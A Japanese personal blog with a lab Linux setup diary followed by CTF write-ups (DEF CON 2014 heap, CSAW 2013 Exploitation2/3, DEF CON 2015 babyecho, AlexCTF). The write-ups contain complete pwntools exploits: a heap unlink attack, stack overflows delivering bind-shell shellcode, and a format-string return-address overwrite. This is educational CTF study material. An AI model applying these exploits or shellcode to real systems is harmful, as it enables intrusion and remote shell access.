読者です 読者をやめる 読者になる 読者になる

1日ひとつだけ強くなる

おべんきょうのーと

ツイッターリムった人わかるの使ったけど結構萎える

じゃねーんだよ。スパム踏むなよ。

研究室生活が始まった。

はじめに

新学期の季節がやってきた。今日は午前中からMTG、午後は割り当てられた研究室のPCにLubuntu 16.10を導入した。前日の深夜3時くらいまでラボのメンバーのツイッター垢をReconしてたら寝不足になった。環境構築の手順をまとめる丁度いい機会なので、メモを取りながら導入したものを公開。

機体の紹介

古そうなやつだった。NECのMateシリーズかな??図書館とかにありそうな感じ。 スペックのメモ取るの忘れたけど、デザインが古いだけで別に悪くない。

f:id:hal0taso:20170403221617p:plain

画像検索してみた。そうそうこんな感じ。

最初にまとめ

インストーラの作成

isoイメージはここから

lubuntu | lightweight, fast, easier

書き込み

hal0taso.hateblo.jp

インストー

インストールするだけ。sda,sdbの2つのHDDが存在したので、sdaにインストー

sdbの初期化

sdbがもう一つのHDDなのはまぁdmesgとか使えばわかる。まずは現在のパーティションの確認から。

$ sudo fdisk -l
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot    Start       End   Sectors   Size Id Type
/dev/sdb1  *        2048  16779263  16777216     8G 27 Hidden NTFS WinRE
/dev/sdb2       16779264 976764927 959985664 457.8G  7 HPFS/NTFS/exFAT

sdb1sdb2の2つのパーティションが存在することがわかり、これを一旦消去する。

$ sudo fdisk /dev/sdb

Welcome to fdisk (util-linux 2.28.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot    Start       End   Sectors   Size Id Type
/dev/sdb1  *        2048  16779263  16777216     8G 27 Hidden NTFS WinRE
/dev/sdb2       16779264 976764927 959985664 457.8G  7 HPFS/NTFS/exFAT

Command (m for help): d
Partition number (1,2, default 2): 

Partition 2 has been deleted.

Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot Start      End  Sectors Size Id Type
/dev/sdb1  *     2048 16779263 16777216   8G 27 Hidden NTFS WinRE

Command (m for help): d
Selected partition 1
Partition 1 has been deleted.

Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.

新しい領域を確保する。

$ sudo fdisk /dev/sdb

Welcome to fdisk (util-linux 2.28.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Command (m for help): n
Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p): p
Partition number (1-4, default 1):  
First sector (2048-976773167, default 2048): 
Last sector, +sectors or +size{K,M,G,T,P} (2048-976773167, default 976773167): 

Created a new partition 1 of type 'Linux' and of size 465.8 GiB.

Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot Start       End   Sectors   Size Id Type
/dev/sdb1        2048 976773167 976771120 465.8G 83 Linux

Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.

OS の非同期書き込みを考慮して、念のためもう一度 sync させておく。

$ sync

できた。一応確認する。

$ sudo fdisk -l
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot Start       End   Sectors   Size Id Type
/dev/sdb1        2048 976773167 976771120 465.8G 83 Linux

ubuntuのデフォルトのファイルシステムext4だったので、sdb1のfsも変更

$ sudo mkfs.ext4 /dev/sdb1
mke2fs 1.43.3 (04-Sep-2016)
/dev/sdb1 contains a ntfs file system labelled 'Windows RE'
Proceed anyway? (y,n) y
Creating filesystem with 122096390 4k blocks and 30531584 inodes
Filesystem UUID: b00fa6cd-6146-4204-80c6-60ec7e2bdf0a
Superblock backups stored on blocks: 
    32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 
    4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968, 
    102400000

Allocating group tables: done                            
Writing inode tables: done                            
Creating journal (262144 blocks): done
Writing superblocks and filesystem accounting information: done     

マウントポイントを作成し、そこに/dev/sdb1のHDDをマウントする。

$ sudo mkdir /mnt/sdb
$ sudo mount /dev/sdb1 /mnt/sdb

最後にマウントできているかどうかの確認。

$ mount | grep sdb1
/dev/sdb1 on /mnt/sdb type ext4 (rw,relatime,data=ordered)

Caps LockをCtrlに置換

$ sudo nano /etc/default/keyboard

XKBOPTIONSを以下のように変更

# KEYBOARD CONFIGURATION FILE

# Consult the keyboard(5) manual page.

XKBMODEL="pc105"
XKBLAYOUT="jp"
XKBVARIANT=""
XKBOPTIONS="ctrl:nocaps" 
BACKSPACE="guess"

再起動する

$ sudo reboot

アップデート

$ sudo apt update
$ sudo apt upgrade

テキストエディタ

テキストエディタにはemacsを使っている。25.1をインストール。

$ sudo add-apt-repository ppa:kelleyk/emacs
$ sudo apt install emacs25
$ emacs --version

feh, urxvt, ranger, xmonad

$ sudo apt install rxvt-unicode-256color feh ranger caca-utils highlight atool w3m poppler-utils mediainfo xmonad

xmonad入れたけど使いこなせる自信がなさすぎる

日本語入力

$ sudo apt install fctx-mozc

まず、System Settings - Language Support - Keyboard input method system: fcitxを選択。初回起動時には”The language support is not installed completely” と表示されるので、Install を選択しておく。

一度Logout。再Login後、Application - Fcitx Configuration - Input Method Configuration - Input Methodから、Onlu Show Current Languageのチェックボックスを外し、Japanese - MozcをCurrent Input Method に追加。

Global Config - Hotkey - Trigger Input Method から切り替える時のホットキーの設定をして完了。

NASを使う

弊ラボのNASはsambaを使用しているらしい。

$ sudo apt install cifs-utils
$ sudo mkdir /mnt/nas
$ sudo mount.cifs //<NAS's IP Address>/share /mnt/nas/ -o password=XXXX

ついでに最初にフォーマットしてマウントしたsdbと一緒に、再起動時にマウントされるよう、/etc/fstabに記述しておく。

$ sudo nano /etc/fstab
# LAB
//<NAS's IP Address>/share /mnt/nas/ username=XXXX, password=YYYY 0 0

# sdb
/dev/sdb1 /mnt/sdb ext4 defaults 0 0

参考

hddのフォーマットについて Linux CentOS 外付けHDDのフォーマットとマウント

fsまとめ Linuxファイルシステムをまとめてみました - Qiita

感想

今日はこれで半日、というか1日が終わった。xmonadも使いこなせていないし、この機会にzshデビューしたい。環境がだんだん古くなって互換が効かなくなっている部分があり、なんとかしないとという気持ち。

早く基礎的な知識をつけて、論文とか読んでいきたい気持ちだ〜〜〜〜。つよいオタクになりたい。

研究室の雰囲気も賑やかで好きな感じですし、今年度は社会性を保ったまま平穏な日々を過ごせそうです。

とりあえず続きをやるとしたら明日以降になる。

DEF CON CTF Qualifier 2014: heap

はじめに

katagaitai勉強会#1の資料を見ながら解いてみました。

まず、heapについてはスライドとこちらの動画が参考になりました。まだ前半しか理解できていないのですが、折を見てもう一度見てみたいと思います。

The 67th Yokohama kernel reading party - YouTube

事前調査

$ file ./heap
./heap: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5, not stripped
$ checksec ./heap
[*] '/home/ubuntu/writeup/bata/easy/heap/heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NX有効でPartial RELROです。

まず動かしてみる。

$ python -c "print 'A'*260 " | ./heap 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=81B7008][size=1246]
[ALLOC][loc=81B74F0][size=1121]
[ALLOC][loc=81B7958][size=947]
[ALLOC][loc=81B7D10][size=741]
[ALLOC][loc=81B8000][size=706]
[ALLOC][loc=81B82C8][size=819]
[ALLOC][loc=81B8600][size=673]
[ALLOC][loc=81B88A8][size=1004]
[ALLOC][loc=81B8C98][size=952]
[ALLOC][loc=81B9058][size=755]
[ALLOC][loc=81B9350][size=260]
[ALLOC][loc=81B9458][size=877]
[ALLOC][loc=81B97D0][size=1245]
[ALLOC][loc=81B9CB8][size=1047]
[ALLOC][loc=81BA0D8][size=1152]
[ALLOC][loc=81BA560][size=1047]
[ALLOC][loc=81BA980][size=1059]
[ALLOC][loc=81BADA8][size=906]
[ALLOC][loc=81BB138][size=879]
[ALLOC][loc=81BB4B0][size=823]
Write to object [size=260]:
Copied 261 bytes.
[FREE][address=81B7008]
[FREE][address=81B74F0]
[FREE][address=81B7958]
[FREE][address=81B7D10]
[FREE][address=81B8000]
[FREE][address=81B82C8]
[FREE][address=81B8600]
[FREE][address=81B88A8]
[FREE][address=81B8C98]
[FREE][address=81B9058]
Segmentation fault (core dumped)

入力を促されます。`[size=260]とあるので、260文字入力してみると、セグメンテーション違反で落ちます。ここで問題文の最初にも書いてあるようにヒープBOFが起きているみたいです。

解析してみると、以下のことがわかります。

  1. 20回mallocでランダムなサイズのメモリ確保
  2. そのアドレスとサイズを配列として保存
  3. 11番目のchunkは260byteでサイズ固定
  4. 11番目のchunkに最大0x1000byteの入力がmemcpyで保存される
  5. 20個のchunkを順にfree

Unlink Attack

mallocで確保されたchunkは以下の図のようになっていて、このchunkがヒープ領域に連続して20個並んでいます。

f:id:hal0taso:20170322165154p:plain

今はヒープBOFが可能なので、これを利用してUnlink Attackを行います。具体的にはChunk[10]に対してヒープBOFさせて、Chunk[11]をfree済みの状態と同様の構造にします。free済みのチャンクは、再利用時の高速化のためにfd, bkメンバをポインタとする双方向連結リスト構造をとります。この時、Chunk[11]がfree済みとすると、Chunk[10]をfreeする際に、連続したチャンクを結合するためにChunk[11]をリストから外す処理が発生します。この時、適切にポインタを書き換えることによってUnlink時に他のポインタを書き換えることができる(書いてたら無限に説明事項があったので詳しくは資料を見て)

Chunk[10]がfreeされる時、以下の図のようになります。この時、unlinkをする判定として、直上チャンクと直下チャンクがfree済みかどうかを確認します。size変数の下位1ビットはPREV_INUSEビットと呼ばれ、直前のチャンクが利用中かどうかを表します(利用中なら1,free済みなら0)。よって、直上は自身のsize変数のPREV_INUSEビット、直下は2つ下のチャンクのsize変数のPREV_INUSEビットを確認します。今回は、直上のチャンクはすでにfree済みであることがわかっているので、直下のチャンクについて注目します。ここで、それぞれのチャンクのアドレスは、チャンクのsizeを加算することによって求められます。

f:id:hal0taso:20170322174643p:plain

ヒープBOFを使ってChunk[11]のサイズを適当な値にし、fd,bkの値に適当なポインタを保存してfree済みであるように書き換えます。この際に、Chunk[11]のsizeの末尾1ビットを1にして、Chunk[12]の末尾1ビットを0にすることに注意します。NX有効だったのですが、調べてみるとheap領域が実行可能なので、bkが10番目のチャンクのポインタを指すようにしてあげて、直接シェルコードを注入します。この際に、チャンクの中身が今回はPartial RELROなのでgot overwriteを行います。書き換えるのは、freeの結果を出力しているprintfでも終了時に呼ばれるexitでもいいと思います。この時、ヒープ領域は下図のようなイメージでBOFします。

f:id:hal0taso:20170323004240p:plain

exploit

最終的にこうなりました。

from pwn import *
import sys

def bp():
    raw_input()


host = sys.argv[1]
port = int(sys.argv[2])
    
r = remote(host, port)

prompt = 'Write to object [size=260]:\n'



recv = r.recvuntil(prompt)
heap_addr = int(re.findall(r"loc=([^]]+)", recv)[10],16)

print recv
print "======heap_addr======"
print hex(heap_addr)

shellcode = asm(shellcraft.sh())
# from shellstorm
# shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
buf_len = 0x104

buf = '\xeb\x08\x90\x90'
buf += '\x90'*0x10
buf += shellcode
buf += '\x90'*(buf_len - len(buf))
buf += p32(0xfffffffc|1)
# exit@got
buf += p32(0x804c020 - 8)
# print@got
# buf += p32(0x0804c004 - 8)
buf += p32(heap_addr)
buf += ''
# bp()
r.sendline(buf)

r.interactive()

感想

heapの問題は初めてだったので、とても勉強になった。今回は資料見ながら一緒に解いてたので解けたものの、heapは書き換え時の状態遷移のイメージが難しいなぁという印象だった…

書き換える場所さえイメージできればいいのかな…?類題が資料に載っているので、これに取り組みながら慣れていきたいと思います。

CSAW CTF Qualification Round 2013: Exploitation3

はじめに

やるだけ問題だった気がする。 数週間前に解析だけしてた。ある程度読めると後は比較的楽だったと思う。

Exploitation2を解いた直後だったので、そんなに詰まることなく行けた。

IDAでちょっとずつ解析すすめていくのは楽しかったけど、もうちょっとスピード早くしていきたいなと思った。

事前調査

$ file ./fil_chal
./fil_chal: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e6e7d1f8a7d1b6fea2e862816b795ac1410fa3af, stripped

$ checksec ./fil_chal
[*] '/home/ubuntu/writeup/bata/baby/Exploitation3/fil_chal'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

解析すると、前回のExploitaion2のようにfork-server型なのがわかる。NX bitも立ってないみたいだし、BOFしてシェルコード流し込めたらいいなぁとか思ってた。

接続してみる。

$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
        Dairy

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 12
AAAABBBBCCCCDDDD
Til next time

接続すると、最初にusernameとpasswordを聞かれる。 これはidaで解析してたらそのままusernameとpasswordが書いてあった。

Entry_infoが負数を入れると大量の入力を入れることができる。今回はこれを利用する。

NXbitも立っていないので、単純にシェルコードを送ってやれば良い。

バッファのアドレスがわからないので、recv関数を呼び出して、.bssセクションの先頭にshellcodeを入れて、リターンアドレスを.bssセクションの先頭に挿入してやれば良い。

exploit

from pwn import *
import time


r = remote('127.0.0.1', 34266)

user = 'csaw2013'
passwd = 'S1mplePWD'

entry_i = '-1'

buffer_size = 1056
buf_addr = 0xffbbe8dc
recv_addr = 0x8048890
bss_addr = 0x804b008

# http://shell-storm.org/shellcode/files/shellcode-882.php
# Shell Bind TCP Shellcode Port 1337 - 89 bytes
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

print r.recvuntil('UserName: ')
r.sendline(user)

print r.recvuntil('Password: ')
r.sendline(passwd)

time.sleep(1)

print r.recvuntil('Entry Info: ')
r.sendline(entry_i)


buf = '\x90'*buffer_size
# recv(4, bss_addr, sizeof(shellcode), 0)
buf += p32(recv_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)


# buf = shellcode + '\x90'*(buffer_size - len(shellcode)) + p32(buf_addr)

r.sendline(buf)
# r.interactive()

time.sleep(1)

r.sendline(shellcode)

p = remote('127.0.0.1', 1337)
p.interactive()

CSAW CTF Qualification Round 2013: Exploitation2

はじめに

fork-server型の問題。とりあえず脆弱性は見つけたんだけど、fork-server型問題が初めてだったのと、直接シェルを繋げないので詰まっていて、他のwriteupを見てしまった。精進したい。

fork-server型

shimasyaro.hatenablog.com

この説明がわかりやすかったと思う。

この問題はいわゆるfork-server型と言われるようなpwnだった。fork-server型とは、socket→bind→listen→accept→forkの順番で行われるserverのことである。 これは、xinetd型と言われるserverとは違い、標準入出力とは繋がっていないのである。socketディスクリプタを使用して入出力が行われるため、>system(/bin/sh)だけを起動しても全く意味がないのである。標準入出力にも自分が送っている内容を影響させるにはdup2などを使って自分が使っている>socketディスクリプタを繋げてあげる必要がある。

なるほど〜〜〜と、プログラムの入出力について一つお勉強になった。

事前調査

$ file ./exploit2 
./exploit2: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=94f196c7d8ce45ecf9943690ed4e193c9d13b906, not stripped

$ checksec ./exploit2
[*] '/home/ubuntu/writeup/bata/baby/Exploitation2/exploit2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

よさそう。

実行してみる

$ nc localhost 31338

WÐÿ©GWelcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

接続してみると、最初の数バイト分謎の文字列が出力されているみたいなので、hexdumpとかで調べてみる。

$ nc localhost 31338 | hexdump -C
00000000  0c 57 d0 ff 61 0a a5 4b  57 65 6c 63 6f 6d 65 20  |.W..a..KWelcome |
00000010  74 6f 20 43 53 41 57 20  43 54 46 2e 20 20 45 78  |to CSAW CTF.  Ex|
00000020  70 6c 6f 69 74 61 74 69  6f 6e 20 32 20 77 69 6c  |ploitation 2 wil|
00000030  6c 20 62 65 20 61 20 6c  69 74 74 6c 65 20 68 61  |l be a little ha|
00000040  72 64 65 72 20 74 68 69  73 20 79 65 61 72 2e 20  |rder this year. |
00000050  20 49 6e 73 65 72 74 20  79 6f 75 72 20 65 78 70  | Insert your exp|

見てみると、0xffd0570c0x4ba50a61っていう一見アドレスっぽい値が出力されてる。

これをidaで見てみると、自前でcanary実装してるっぽい。僕の環境だとsecretみたいな値をローカル変数に格納して、それを後から元の値と照らし合わせてた。

handleって関数の中身を見ると、最初にバッファのアドレス、そのあとcanary値をsendしていたので、この二つの値はそれぞれスタック上のバッファアドレスとcanary値であることがわかる。

bufferのサイズは0x800なので、<shellcode><padding><canary><padding><buffer_address>ってしてあげればよさそう。

….と思ったら、shellが取れなくて死んでた。

exploit

最終的に書いたのは以下の通り。

from pwn import *

r = remote('127.0.0.1', 31338)

recv = r.recvuntil('here:')

buf = u32(recv[0:4]) # leaked buffer address
sec = u32(recv[4:8]) # leaked secret address
print "buf: {}".format(hex(buf))
print "sec: {}".format(hex(sec))


shellcode = ''.join(["\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a",
                     "\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68",
                     "\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1",
                     "\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd",
                     "\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f",
                     "\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f",
                     "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3",
                     "\x41\xcd\x80",])


buf_len = 0x800 - len(shellcode)

payload = shellcode + '\x90'*buf_len + p32(sec) + '\x90'*0xc + p32(buf)

r.sendline(payload)

# r.interactive()


p = remote('127.0.0.1', 11111)
p.interactive()

ちなみに、シェルコードはshellstormからportを11111番で待ち受けていて、つなぐとshellが開かれているのでそのままncとかで繋げてあげれば良い。

感想

fork-server型の問題は初めて解いたので、いい勉強になった。

AlexCTF: C++ is awesome (Reversing 100)

はじめに

rev一問だけ解けた。初めて100点入れれたので嬉しい。 テスト期間中に息抜き代わりに解いてみたけど、解けて気持ちよくなれたので参加してよかったと思う。

メモとか残してなくて結構時間も経ったので、覚えてることを文章だけ書いて終わる。

やったこと

手元のubuntuで動かなくて(GLIBCのバージョンが足りないって怒られた)、最近セットアップしたLubuntuをつかった。

gdb-pedaの仕様が変わったのか、スタックの中身が見れなくて辛い思いをした。

事前調査

確かstrippedだった気がする。

stringしてみると、L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1tというなにやら怪しい文字が。

動かしてみる

gdbで動かしてみると、入力文字列を1文字ずつ比較しているみたいだ。 横着な性格なので比較しているところにブレークポイントをセットしてgdbパカパカしてたら途中でyou should know flagって言われてしまった….

ので、ちゃんと見てみると上の文字列から数字の配列の順に取り出して比較してるらしい。 配列の中身を見て、そのindexにある文字を取り出すとフラグが取得できる。

ALEXCTF{W3_L0v3_C_W1th_CL45535}

DEFCON Qualifier 2015: babyecho

はじめに

2日かかったけど解けたので復習。最近はstrippedなバイナリ見てもとりあえず動かしてgdbでアタッチすればいいや〜ってなってきたし、radare2に食わせればちゃんと読める形にしてくれるので本当に感謝しかない。

ペースが保てていないが頑張る。

$ file

babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped

$ checksec

[*] ‘/home/ubuntu/writeup/bata/baby/babyecho/babyecho’ Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE

メモ

  • 入力処理にFSBがある
  • 入力できる長さはたったの13バイト
  • それ以上は13バイトごとで区切られて区切られた各終端の文字は'0x0a'で置き換えらえる
    • ‘AAAABBBBCCCCDDDD\n'を入力すると'AAAABBBBCCCC\n’ + ‘DDD\n'が得られた

exploit

まず、スタックの中身を確認してみた。後ろにあるのは後でスタックのindexを割り振ったメモ

$ python -c "print ''.join(['AAAA%' + str(i) + '\$p\n' for i in range(0,8)])
" | ./babyecho 
Reading 13 bytes  
AAAA0xd         --> 1  
Reading 13 bytes  
AAAA0xa         --> 2  
Reading 13 bytes  
AAAA(nil)       --> 3  
Reading 13 bytes  
AAAA0xd     --> 4(バッファの長さ)  
Reading 13 bytes  
AAAA0xffffcd3c  --> 5(入力バッファのアドレス)  
Reading 13 bytes  
AAAA(nil)       --> 6(サブルーチンのフラグ)  
Reading 13 bytes  
AAAA0x41414141  --> 7(入力バッファの中身) 

入力長が13バイト(0x0d)であったので、0x0dが格納されたバッファを探すと2つある。radare2で0x8048fb6を見てみると、'Reading %d bytes\n'の数値に対応してるのが[esp + 0x04]=[esp + 0x10]であることがわかり、確かに0x0dがmainの最初で代入されていることがわかる。

また、0x804902cを見てみると、[esp + 0x18]の値を0と比較してループを回しているのがわかる。

f:id:hal0taso:20170216230349p:plain

さて、攻撃

こんな感じ 1. バッファのアドレスを取得 2. 入力の最大長の値を上書き 3. リターンアドレスをシェルコードを入力したアドレスに移す&サブルーチンのフラグを書き換える 4. リターンアドレスはスタックの267番目

ここでバッファの最大長の値を書き換えるときに、入力が13バイトまで、というのをすっかり忘れていた。 数時間悩んだ末、writeupを読んで気づいた(バカ)

最終的にこうなった

from pwn import *
import sys
import time

def bp():
    raw_iput("Break point: ")

LOCAL = True
if len(sys.argv) > 1 and sys.argv[1] == "r":
    LOCAL = False

BIN = './babyecho'
e = ELF(BIN)
r = None

if LOCAL:
    r = remote('127.0.0.1', 40000)

def get_stack_addr(x, addr):
    return addr - 4*(7 - x)

# first, you should get stack addr
r.recvline()
r.sendline('%5$x')
input_buf = int(r.recvuntil('\n'), 16)


# calculate addr
max_len_buf = get_stack_addr(4, input_buf)
ret = get_stack_addr(267, input_buf)
flag = get_stack_addr(6, input_buf)

# 1st payload
r.recvline()
payload = "{addr}%{length}c%7$n".format(addr=p32(max_len_buf), length=99)

r.sendline(payload)
r.recv()

# 2nd payload
payload = "{addr}%{length}c%7$n".format(addr=p32(max_len_buf), length=9999)
r.sendline(payload)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"


buf = ''
buf += p32(flag)
buf += p32(ret)
buf += p32(ret+1)
buf += p32(ret+2)
buf += p32(ret+3)

ptr = input_buf + len(buf)
buf += shellcode


rtn = map(ord, p32(ptr))
# over write addr
rtn[3] = ((rtn[3] - rtn[2]) % 0x100) + 0x100
rtn[2] = ((rtn[2] - rtn[1]) % 0x100) + 0x100
rtn[1] = ((rtn[1] - rtn[0]) % 0x100) + 0x100
rtn[0] = ((rtn[0] - len(buf)) % 0x100) + 0x100

# print len(buf)

buf += '%7$hhn' 
buf += '%%%dd%%8$hhn' % rtn[0]
buf += '%%%dd%%9$hhn' % rtn[1]
buf += '%%%dd%%10$hhn' % rtn[2]
buf += '%%%dd%%11$hhn' % rtn[3]

r.sendline (buf)
r.interactive()